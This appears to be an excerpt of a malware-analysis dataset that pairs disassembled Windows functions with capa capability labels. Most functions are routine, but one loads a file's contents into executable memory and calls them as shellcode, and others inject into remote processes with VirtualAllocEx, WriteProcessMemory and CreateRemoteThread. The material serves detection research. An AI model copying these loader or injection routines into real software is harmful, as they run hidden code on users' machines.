joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c36a
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x414018]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40c3b5
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040c585
test al, al
jne 0x40c3af
sub edx, 2
cmp edx, edi
jne 0x40c395
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40c3d7
lea eax, [edi + 2]
cmp edx, eax
je 0x40c3d7
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040c2b6
add esp, 0x10
jmp 0x40c4cf
push esi
lea ecx, [ebp - 0x255]
call fcn.0040c585
sub edx, edi
xor ecx, ecx
sar edx, 1
inc edx
test al, al
lea eax, [ebp - 0x254]
cmovne ecx, edx
xor ebx, ebx
push ebx
push ebx
push ebx
push eax
push ebx
push edi
mov dword [ebp - 0x260], ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40c418
push dword [ebp - 0x25c]
jmp 0x40c3c7
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40c455
cmp word [ebp - 0x226], 0
je 0x40c476
cmp word [ebp - 0x226], ax
jne 0x40c455
cmp word [ebp - 0x224], 0
je 0x40c476
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040c2b6
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40c4c2
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40c42f
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40c4aa
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40c4cf
push 0x40c0e6
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040f590
add esp, 0x10
jmp 0x40c49f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004079b2
leave
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401e06
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov ebx, dword [ebp + 8]
cmp dword [ecx], ebx
je 0x401e48
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, esi
mov edi, eax
call fcn.00402f40
lea eax, [ebx + 1]
cmp eax, 2
jb 0x401e41
mov dword [esi], ebx
call fcn.00405ce0
push eax
push dword [ebp + 4]
push esi
push ebx
call fcn.00405e70
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x403ba0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x5d32a4]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x5dd904]
mov ecx, dword [0x5e04e8]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x403bed
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
mov eax, 0x5dd900
add esp, 0x124
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x5dd904
call fcn.004e84fa
add esp, 4
mov eax, dword [0x5dd904]
cmp eax, 0xffffffff
jne 0x403bd3
lea eax, [ebp - 0x128]
push 0x118
push 0
push eax
call fcn.004eb600
add esp, 0xc
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x11c
push edi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x130], 0
cmp eax, 0xa
je 0x403c4d
xor ebx, ebx
cmp eax, 6
jne 0x403c83
push 0x56d836
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.GetProductInfo
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x130]
push ecx
push 0
push 0
push dword [ebp - 0x124]
push dword [ebp - 0x128]
call eax
mov ebx, dword [ebp - 0x130]
push 0x5c
call fcn.004e812d
add esp, 4
mov esi, eax
push 0x5dd908
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ecx, esi
push ebx
push 0x5dd908
push edi
call fcn.00403cd0
mov dword [0x5dd900], esi
push 0x5dd904
call fcn.004e84b0
add esp, 4
jmp 0x403bd3

Function at 0x40b0cc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, ecx
call fcn.0040ae80
test al, al
je 0x40b0f0
push 0x32
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edi, [esi + 0x20]
mov ecx, edi
push 0
call fcn.0040b13e
lea ecx, [esi + 0x30]
call fcn.0040333c
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x40b114
push eax
call fcn.00401070
add esp, 4
mov ecx, edi
call fcn.0040b162
lea ecx, [esi + 0x18]
call fcn.00402f40
lea ecx, [esi + 0x14]
call fcn.00402f40
lea ecx, [esi + 0x10]
call fcn.00402f40
mov ecx, esi
pop esi
pop edi
pop ebp
jmp fcn.0040ad90
Function at 0x40b52a
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [0x5d32a4]
mov edi, ecx
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
lea ebx, [edi + 0x18]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, [edx + ecx]
xor ecx, ecx
push ecx
push eax
push ecx
push 0x8000004
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, ebx
push eax
call fcn.00401e06
mov esi, dword [edi + 0x18]
xor ecx, ecx
inc ecx
lea eax, [esi + 1]
cmp eax, ecx
ja 0x40b599
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x18]
mov ebx, 0x19
mov dword [ecx], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
mov eax, ebx
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 0x14
mov dword [ebp - 0x20], edi
mov edi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
lea ecx, [ebp - 0x14]
push edx
push edx
push 7
push ecx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x40b6be
xor eax, eax
push eax
push eax
push eax
push 6
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, dword [ebp + 0x18]
test eax, eax
je 0x40b6d1
mov ebx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
test ebx, ebx
je 0x40b61c
test ecx, ecx
je 0x40b61c
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0x18]
lea edi, [edx + eax]
push ecx
push ebx
push edi
call fcn.004eab00
add esp, 0xc
mov eax, 0xffffff00
mov ecx, dword [edi + eax + 0x100]
test ecx, ecx
je 0x40b617
sub ecx, ebx
mov dword [edi + eax + 0x100], ecx
add eax, 4
jne 0x40b603
mov eax, dword [ebp - 0x14]
mov dword [0x5dd888], eax
sub esp, 0xc
mov edi, dword [ebp - 0x20]
mov dword [esp + 8], 4
mov dword [esp + 4], 0x5dd888
mov ecx, edi
call fcn.0040b4cc
test eax, eax
mov dword [0x5dd888], 0
jne 0x40b6af
mov eax, dword [ebp + 0x10]
mov dword [0x5dd998], eax
sub esp, 0xc
mov ecx, edi
mov dword [esp + 8], 4
mov dword [esp + 4], 0x5dd998
call fcn.0040b4cc
test eax, eax
mov dword [0x5dd998], 0
jne 0x40b6af
mov eax, dword [ebp + 0x14]
mov dword [0x5dd99c], eax
sub esp, 0xc
mov ecx, edi
mov dword [esp + 8], 4
mov dword [esp + 4], 0x5dd99c
call fcn.0040b4cc
test eax, eax
mov dword [0x5dd99c], 0
je 0x40b6e3
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
jmp 0x40b583
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x18]
mov ebx, 0x1a
jmp 0x40b581
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
mov ebx, 0x1b
jmp 0x40b583
mov esi, dword [ebp + 8]
lea eax, [edi + 0x20]
mov dword [ebp - 0x1c], eax
push 0x1c
call fcn.004e812d
add esp, 4
mov ebx, eax
mov ecx, eax
push esi
push dword [edi + 0x24]
push dword [edi + 8]
push dword [edi]
call fcn.00423208
mov ecx, dword [ebp - 0x1c]
push ebx
call fcn.0040b13e
mov ecx, dword [edi + 0x20]
push 0x400
push dword [ebp + 0x10]
push dword [ebp - 0x18]
call fcn.004232e8
mov ebx, 4
test al, al
je 0x40b583
mov ecx, edi
call fcn.0040b010
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
jmp 0x40b583
Function at 0x40dff0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x10
mov edx, dword [0x5d32a4]
mov eax, dword [ebp + 8]
lea esi, [ebp - 0x18]
lea edi, [ebp - 0x10]
xor edx, ebp
mov dword [ebp - 0xc], edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x18], 0
push edx
push esi
push edi
push 0
push eax
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test eax, eax
jne 0x40e058
mov eax, dword [ebp - 0x10]
mov esi, 0x3f4
add eax, 0xfffffffd
cmp eax, 1
ja 0x40e058
cmp dword [ebp - 0x14], 4
jne 0x40e058
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x18]
xor esi, esi
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004e85d0
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebp
ret 8
Function at 0x41017e
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [0x5d32a4]
xor eax, ebp
mov dword [ebp - 0x10], eax
cmp byte [ecx + 0x2c], 0
je 0x41028d
mov esi, ecx
lea edx, [ecx + 0x24]
lea eax, [ebp - 0x58]
lea edi, [ebp - 0x5c]
mov ecx, edi
push eax
push 2
call fcn.004102ad
add esp, 8
mov edx, dword [edi]
test edx, edx
je 0x410294
cmp dword [edx], 0
mov dword [ebp - 0x68], esi
je 0x410280
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x60], edx
lea eax, [eax + 0x18]
mov dword [ebp - 0x6c], eax
xor eax, eax
test dword [edx + eax*8 + 8], 0xc0000020
mov dword [ebp - 0x64], eax
jne 0x410274
cmp dword [ebp + 8], 0
je 0x410234
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
cmp dword [eax + 4], ecx
je 0x410234
xor ebx, ebx
xor edi, edi
mov eax, dword [ebp - 0x64]
add ecx, ebx
mov esi, dword [edx + eax*8 + 4]
call fcn.00410b94
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov edx, dword [ebp - 0x60]
test eax, eax
jne 0x410274
mov eax, dword [ebp + 8]
inc edi
add ebx, 0x44
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
sar eax, 2
imul eax, eax, 0xf0f0f0f1
cmp edi, eax
jb 0x4101fc
mov eax, dword [ebp - 0x64]
lea edi, [ebp - 0x54]
mov ecx, edi
push dword [edx + eax*8 + 4]
call fcn.004108d8
mov esi, dword [ebp - 0x68]
mov eax, dword [esi + 0x1c]
mov edx, dword [esi + 0x20]
cmp edx, eax
je 0x410267
mov ebx, 0x44
push ebx
push edi
push eax
call fcn.004eab00
add esp, 0xc
add dword [esi + 0x1c], ebx
jmp 0x410271
mov ecx, dword [ebp - 0x6c]
push edi
push edx
call fcn.00404eb0
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
inc eax
cmp eax, dword [edx]
jb 0x4101d7
push edx
call fcn.004e898f
add esp, 4
xor esi, esi
jmp 0x410297
mov esi, 0x3f0
jmp 0x410297
mov esi, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
mov eax, esi
add esp, 0x60
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x42042e
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov ecx, dword [0x5d32a4]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0x2c]
mov esi, 5
xor ecx, ebp
cmp eax, 3
mov dword [ebp - 0x10], ecx
mov dword [edx], 0xffffffff
jne 0x4204c6
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 0x28]
mov edx, dword [ebp + 0x24]
mov ecx, dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
mov ebx, dword [ebp + 0xc]
cmp dword [edi + 0x14], 7
jbe 0x420472
mov edi, dword [edi]
mov ebx, dword [ebx]
push 0
push esi
push edx
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
cmp eax, 0xffffffff
je 0x4204b3
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
lea ecx, [ebp - 0x14]
push 3
push edi
push edi
push ecx
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp eax, 1
lea eax, [ebp - 0x14]
sbb edi, edi
or edi, dword [eax]
jmp 0x4204b6
xor edi, edi
dec edi
mov eax, dword [ebp + 0x2c]
mov dword [eax], edi
xor eax, eax
cmp edi, 0xffffffff
sete al
lea esi, [eax + eax*4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4207f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov ecx, dword [ebp + 8]
mov eax, dword [0x5d32a4]
mov edi, 5
lea ecx, [ecx - 5]
xor eax, ebp
cmp ecx, 1
mov dword [ebp - 0x10], eax
ja 0x420944
mov eax, dword [ebp + 0x14]
xor edi, edi
mov ecx, 7
mov esi, dword [ebp + 0x18]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x54], 0x44
cmp dword [eax + 0x14], ecx
jbe 0x420862
mov eax, dword [eax]
mov ebx, dword [ebp + 0x10]
push eax
call fcn.004f34c6
add esp, 4
mov edx, 7
mov ecx, dword [esi + 0x10]
cmp dword [esi + 0x14], edx
jbe 0x42087d
mov esi, dword [esi]
test ecx, ecx
mov edx, dword [ebp + 0x1c]
cmove esi, ecx
mov ecx, 7
cmp dword [ebx + 0x14], ecx
mov ecx, dword [ebp + 0xc]
jbe 0x420894
mov ebx, dword [ebx]
mov ecx, dword [ecx]
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x54]
push edx
push ecx
push esi
push edi
push edi
push edi
push edi
push edi
mov dword [ebp - 0x58], eax
push eax
push ebx
mov esi, edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, 5
test eax, eax
je 0x420934
mov eax, dword [ebp + 8]
mov ebx, 0x101c01
cmp eax, 6
mov eax, 0x1fffff
cmove ebx, eax
mov eax, dword [esi]
mov dword [ebp - 0x60], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 1
push 0
push ebx
push esi
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ebx, dword [esi + 4]
test eax, eax
je 0x42092d
mov eax, esi
mov esi, 0x100c43
mov ecx, 0x1fffff
add eax, 4
cmp dword [ebp + 8], 6
mov edi, eax
cmove esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 1
push 0
push esi
push edi
push dword [ebp - 0x5c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
xor ecx, ecx
test eax, eax
sete cl
lea edi, [ecx + ecx*4]
jmp 0x420934
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x420944
push eax
call fcn.00401070
add esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
mov eax, edi
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x420958
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x20]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov edi, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x14]
mov esi, dword [ebp + 0x18]
mov dword [ebp - 0x10], ebx
mov dword [ebx], ecx
xor ebx, ebx
push edi
mov edi, eax
push esi
push edx
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4209c9
mov edi, dword [edi]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 3
push ebx
push ebx
push dword [ebp - 0x10]
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
xor ecx, ecx
test eax, eax
sete cl
lea eax, [ecx + ecx*4]
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x42266e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x68
mov edx, dword [0x5d32a4]
mov al, byte [ebp + 8]
mov ebx, ecx
xor edx, ebp
test al, al
mov dword [ebp - 0x10], edx
je 0x4226be
xor esi, esi
mov edi, 0x56ef16
mov ecx, ebx
inc esi
push 0
push 0x43c300
push esi
push str.NtMapViewOfSection
push edi
call fcn.00422162
mov ecx, ebx
push esi
push 0x43c4d0
push esi
push str.NtUnmapViewOfSection
push edi
call fcn.00422162
jmp 0x4226c8
cmp dword [ebx + 8], 0
je 0x4227bf
mov eax, dword [ebx]
mov edi, dword [eax]
push 1
push 0x2000
push 0x10000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [ebx + 8]
mov dword [ebp - 0x6c], eax
shl esi, 6
lea eax, [esi + 0x50]
mov dword [ebp - 0x70], eax
push eax
call fcn.00422040
add esp, 4
mov dword [ebp - 0x74], ebx
mov ebx, eax
and eax, 0xfffff000
add esi, 0x104f
add eax, dword [ebp - 0x6c]
and esi, 0xfffff000
push 0x40
push 0x1000
push esi
push eax
mov dword [ebp - 0x6c], edi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x4227d7
mov edi, eax
and ebx, 0xfff
lea esi, [ebp - 0x60]
xor eax, eax
add edi, ebx
mov ebx, dword [ebp - 0x70]
mov dword [esi], ebx
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x10
push 0xa4
push eax
push 0x5dda88
call fcn.004eb600
add esp, 0xc
mov ecx, dword [ebp - 0x74]
push esi
push ebx
push edi
call fcn.004229ac
mov ebx, eax
test eax, eax
jne 0x4227c1
lea eax, [ebp - 0x64]
push eax
push 0x10
push esi
push edi
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
mov ebx, 0x2a
je 0x4227c1
cmp dword [ebp - 0x64], 0x10
jne 0x4227c1
lea eax, [ebp - 0x68]
push eax
push 0x20
push dword [ebp - 0x70]
push edi
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push 0xa4
push 0x5dda88
push str.g_originals
call fcn.0040b4cc
mov ebx, eax
jmp 0x4227c1
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
mov eax, ebx
add esp, 0x68
pop esi
pop edi
pop ebx
pop ebp
ret 4
int3
Function at 0x423888
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [ecx + 4]
mov eax, dword [ecx + 0x3c]
movzx edx, word [ecx + eax + 6]
test edx, edx
je 0x4238d1
add eax, ecx
mov esi, dword [esp + 0x14]
xor ebx, ebx
movzx edi, word [eax + 0x14]
lea edi, [eax + edi + 0x18]
xor eax, eax
test edi, edi
je 0x4238d7
mov ebp, dword [edi + 0xc]
test ebp, ebp
je 0x4238c0
add ebp, ecx
cmp ebp, esi
jbe 0x4238c2
jmp 0x4238c9
xor ebp, ebp
add ebp, dword [edi + 8]
cmp ebp, esi
ja 0x4238d5
inc ebx
add edi, 0x28
cmp ebx, edx
jb 0x4238ad
xor eax, eax
jmp 0x4238d7
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x423978
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x423a5a
mov eax, dword [ecx + 4]
mov ebx, ecx
mov edx, dword [eax + 0x3c]
cmp dword [eax + edx + 0x74], 0
je 0x423a5a
cmp word [eax + edx + 0x14], 0x68
jb 0x423a5a
mov esi, dword [ebx]
mov ecx, ebx
push dword [eax + edx + 0x78]
call dword [esi + 4]
test eax, eax
je 0x423a5a
mov esi, eax
mov eax, dword [ebp + 8]
cmp eax, 0xffff
ja 0x4239d2
mov word [edi], ax
jmp 0x423a87
mov eax, dword [ebx]
mov ecx, ebx
push dword [esi + 0x20]
call dword [eax + 4]
mov edx, eax
mov eax, dword [esi + 0x18]
lea ecx, [eax*4]
test ecx, ecx
je 0x423a5a
mov dword [ebp - 0x18], esi
lea esi, [edx + eax*4]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], ebx
mov ebx, edx
mov dword [ebp - 0x14], edx
inc eax
mov dword [ebp - 0x1c], eax
mov edi, esi
mov ecx, dword [ebp - 0x10]
sub edi, ebx
mov eax, edi
shr edi, 0x1f
sar eax, 2
add edi, eax
mov eax, dword [ecx]
and edi, 0x7ffffffe
push dword [ebx + edi*2]
call dword [eax + 4]
mov ecx, dword [ebp + 8]
mov cl, byte [ecx]
test cl, cl
je 0x423a38
mov edx, dword [ebp - 0x1c]
cmp cl, byte [eax]
jne 0x423a3a
mov cl, byte [edx]
inc eax
inc edx
test cl, cl
jne 0x423a2c
xor ecx, ecx
movzx eax, byte [eax]
movzx ecx, cl
lea edi, [ebx + edi*2]
sub ecx, eax
je 0x423a66
test ecx, ecx
lea eax, [edi + 4]
cmovle esi, edi
cmovg ebx, eax
xor eax, eax
cmp ebx, esi
jne 0x423a01
jmp 0x423a5c
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 8
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
mov eax, dword [ecx]
push dword [esi + 0x24]
call dword [eax + 4]
sub edi, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
sar edi, 1
movzx eax, word [eax + edi]
add ax, word [esi + 0x10]
mov word [ecx], ax
mov al, 1
jmp 0x423a5c
Function at 0x42abc0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1408
call fcn.004e89a0
mov eax, dword [0x5d32a4]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x5d203c]
cmp eax, 0xffffffff
je 0x42ad20
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42ad20
mov esi, eax
cmp eax, 1
jne 0x42ac0b
push 0
push dword [0x5d203c]
jmp 0x42ad18
lea edi, [ebp - 0x810]
push 0x800
push esi
push edi
call fcn.004eab00
add esp, 0xc
mov eax, dword [0x5d203c]
push edi
mov dword [ebp - 0x1414], eax
push eax
call fcn.0043f890
add esp, 8
push esi
call fcn.004e898f
add esp, 4
mov eax, dword [0x5df06c]
mov ecx, dword [0x5e04e8]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42ad35
mov esi, dword [0x5df068]
mov ecx, esi
call fcn.0042b140
lea eax, [ebp - 0x1410]
push 0xc00
push 0x5de468
push eax
call fcn.004eab00
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov esi, 0x100
mov al, 1
nop word cs:[eax + eax]
nop dword [eax]
test al, 1
je 0x42ad10
mov ebx, 0xfffff400
xor eax, eax
lea edi, [ebp - 0x810]
nop word cs:[eax + eax]
nop dword [eax + eax]
mov ecx, dword [edi]
test ecx, ecx
je 0x42ad00
cmp dword [ebp + ebx - 0x810], 0
je 0x42ad00
mov edx, dword [edi + 4]
cmp edx, dword [ebp + ebx - 0x808]
jne 0x42ad00
mov edx, dword [ebp + ebx - 0x80c]
test edx, edx
je 0x42ad00
mov dword [edi], 0
push ecx
call edx
add esp, 4
mov al, 1
nop word cs:[eax + eax]
nop
add edi, 8
add ebx, 0xc
jne 0x42acc0
cmp esi, 2
lea esi, [esi - 1]
jae 0x42aca0
push 1
push dword [ebp - 0x1414]
call fcn.0043f890
add esp, 8
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e85d0
add esp, 0x1408
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x5df06c
call fcn.004e84fa
add esp, 4
mov eax, dword [0x5df06c]
cmp eax, 0xffffffff
jne 0x42ac5f
push 4
call fcn.004e812d
add esp, 4
mov ecx, eax
mov esi, eax
call fcn.0040d3d0
mov dword [0x5df068], esi
push 0x5df06c
call fcn.004e84b0
add esp, 4
jmp 0x42ac5f